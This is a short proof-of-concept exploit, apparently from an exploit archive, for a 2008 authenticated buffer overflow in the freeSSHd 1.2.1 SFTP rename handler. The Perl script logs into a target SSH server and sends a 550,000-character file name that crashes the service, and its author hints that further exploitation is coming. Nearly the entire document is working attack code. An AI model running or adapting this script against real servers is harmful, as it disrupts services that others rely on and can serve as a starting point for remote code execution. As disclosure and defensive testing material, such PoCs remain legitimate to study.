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# Title : freeSSHd 1.2.1 sftp rename Remote Buffer Overflow PoC (auth)
# Published : 2008-10-22
# Author : Jeremy Brown
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#!/usr/bin/perl
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
# FreeSSH 1.2.1 Crash -- A Product of Fuzzing. Stay Tuned.
use Net::SSH2;

$host     = "192.168.0.187";
$port     = 22;
$username = "test";
$password = "test";
$dos      = "A" x 550000;

$ssh2 = Net::SSH2->new();
$ssh2->connect($host, $port)               || die "nError: Connection Refused!n";
$ssh2->auth_password($username, $password) || die "nError: Username/Password Denied!n";
$sftp = $ssh2->sftp();
$rename = $sftp->rename($dos, "test");
$ssh2->disconnect();
exit;

# www.Syue.com [2008-10-22]